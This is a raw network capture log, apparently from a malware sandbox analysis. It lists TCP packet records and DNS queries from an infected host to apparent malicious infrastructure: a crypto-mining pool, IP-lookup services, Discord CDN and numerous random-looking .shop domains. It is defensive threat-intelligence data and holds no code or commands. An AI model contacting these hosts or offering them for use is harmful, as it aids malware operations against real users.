Aug 21, 2024 08:32:17.253705978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.253712893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.253751993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.253787994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.253793955 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:17.253843069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:17.259073973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259083986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259089947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259130001 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259134054 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.259135008 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259152889 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259159088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259191990 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.259211063 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.259926081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259937048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259942055 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.259979010 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.260000944 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.260005951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260011911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260023117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260027885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260039091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260050058 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.260072947 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.260093927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260099888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260143042 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.260162115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260169029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260174990 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260179996 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260185957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.260210037 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.260230064 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.261086941 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261101007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261106968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261141062 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.261172056 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.261488914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261495113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261506081 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261512041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261543036 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.261568069 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.261905909 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261956930 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.261957884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.261970997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262010098 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262011051 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.262016058 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262032032 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262038946 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262044907 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262048960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262078047 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.262109041 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.262115002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262121916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262131929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262166977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.262255907 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262264013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262275934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262280941 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262285948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262296915 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262301922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262306929 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262311935 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262317896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262321949 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.262361050 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.262408018 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.262454033 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263129950 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263181925 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263219118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263226986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263237953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263242960 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263247967 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263258934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263281107 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263299942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263305902 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263314009 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263315916 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263322115 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263354063 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263369083 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263535023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263540030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263550997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263556957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263590097 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263613939 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.263922930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263928890 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263942957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.263997078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264003038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264014006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264024973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264030933 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264030933 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264053106 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264056921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264080048 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264091969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264132023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264137983 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264152050 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264157057 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264163017 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264168024 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264173031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264183044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264183998 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264210939 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264225960 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.264930010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264935970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264945984 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264950991 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264956951 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.264986038 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265013933 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265019894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265026093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265038013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265064955 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265093088 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265100002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265117884 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265124083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265130043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265135050 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265140057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265172005 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265172005 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265211105 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265233040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265239000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265254974 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265260935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265265942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265297890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.265388012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265393972 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265404940 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265408993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.265439987 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266124010 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266130924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266141891 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266148090 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266154051 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266168118 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266175985 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266184092 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266217947 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266230106 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266241074 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266247034 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266249895 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266256094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266268015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266272068 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266273975 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266279936 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266284943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266302109 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266302109 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266316891 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266381979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266386986 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266396999 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266402960 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266407013 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266412973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266417980 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266422987 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.266433001 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266457081 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.266473055 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.267127037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267136097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267153025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267158031 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267194033 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.267219067 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.267260075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267267942 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267280102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267282963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.267309904 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.267326117 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.268158913 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268182039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268193007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268208027 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.268225908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.268243074 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.268270969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268276930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268290043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268299103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268342018 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.268373013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268379927 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268390894 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268397093 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268407106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268413067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268418074 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.268419027 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.268429995 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.268496990 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.269501925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269507885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269519091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269553900 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.269582033 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269597054 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269602060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269623041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269634962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269637108 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269640923 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.269643068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269668102 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.269681931 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.269773006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269782066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269793034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269798040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.269823074 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.269851923 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.270119905 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.270129919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.270132065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.270172119 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.270184040 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.270210028 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.270221949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.270236969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.270242929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.270263910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.270313025 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.285764933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285772085 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285785913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285803080 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285809040 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285825014 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285830975 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285841942 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.285862923 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.285907984 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:17.286582947 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.286590099 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.286604881 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.286623955 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.286636114 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.286642075 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.286648035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:17.286680937 CEST	80	49720	147.45.44.104	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 21, 2024 08:32:07.695858002 CEST	192.168.2.6	1.1.1.1	0x4124	Standard query (0)	api.myip.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:08.379057884 CEST	192.168.2.6	1.1.1.1	0x91ae	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.026232958 CEST	192.168.2.6	1.1.1.1	0x5199	Standard query (0)	mcrogers.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.026232958 CEST	192.168.2.6	1.1.1.1	0x1f5c	Standard query (0)	siscorp.mx	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.040772915 CEST	192.168.2.6	1.1.1.1	0xb379	Standard query (0)	240812161425945.tyr.zont16.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:13.719510078 CEST	192.168.2.6	1.1.1.1	0xf962	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:26.581532955 CEST	192.168.2.6	1.1.1.1	0x6bca	Standard query (0)	yip.su	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:36.557704926 CEST	192.168.2.6	1.1.1.1	0xa376	Standard query (0)	pool.hashvault.pro	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:51.450047970 CEST	192.168.2.6	1.1.1.1	0x4881	Standard query (0)	torubleeodsmzo.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:52.441011906 CEST	192.168.2.6	1.1.1.1	0xe2ef	Standard query (0)	potentioallykeos.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:53.334682941 CEST	192.168.2.6	1.1.1.1	0x6b3b	Standard query (0)	interactiedovspm.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:54.279695034 CEST	192.168.2.6	1.1.1.1	0x2679	Standard query (0)	charecteristicdxp.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:54.522610903 CEST	192.168.2.6	1.1.1.1	0xbec2	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:55.165919065 CEST	192.168.2.6	1.1.1.1	0x8186	Standard query (0)	cagedwifedsozm.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:56.095530987 CEST	192.168.2.6	1.1.1.1	0x856a	Standard query (0)	deicedosmzj.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:57.335467100 CEST	192.168.2.6	1.1.1.1	0x6ee4	Standard query (0)	southedhiscuso.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:58.251403093 CEST	192.168.2.6	1.1.1.1	0xe228	Standard query (0)	consciousourwi.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:59.448676109 CEST	192.168.2.6	1.1.1.1	0xca3e	Standard query (0)	weiggheticulop.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:32:59.464791059 CEST	192.168.2.6	1.1.1.1	0x426b	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:00.677814007 CEST	192.168.2.6	1.1.1.1	0xdd7b	Standard query (0)	tenntysjuxmz.shop	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:06.255660057 CEST	192.168.2.6	1.1.1.1	0xdad1	Standard query (0)	service-domain.xyz	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:07.204391003 CEST	192.168.2.6	1.1.1.1	0xbeab	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:08.228168964 CEST	192.168.2.6	1.1.1.1	0x8882	Standard query (0)	helsinki-dtc.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:10.134279966 CEST	192.168.2.6	1.1.1.1	0xd744	Standard query (0)	skrptfiles.tracemonitors.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:10.154130936 CEST	192.168.2.6	1.1.1.1	0x491	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:18.409356117 CEST	192.168.2.6	1.1.1.1	0x504a	Standard query (0)	www.rapidfilestorage.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:19.225450039 CEST	192.168.2.6	1.1.1.1	0x9b3b	Standard query (0)	api5.check-data.xyz	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:31.793642044 CEST	192.168.2.6	1.1.1.1	0x209	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:51.068200111 CEST	192.168.2.6	1.1.1.1	0x2f58	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:52.010412931 CEST	192.168.2.6	1.1.1.1	0xde7e	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:53.064121962 CEST	192.168.2.6	1.1.1.1	0xde7e	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 08:33:54.049838066 CEST	192.168.2.6	1.1.1.1	0xde7e	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
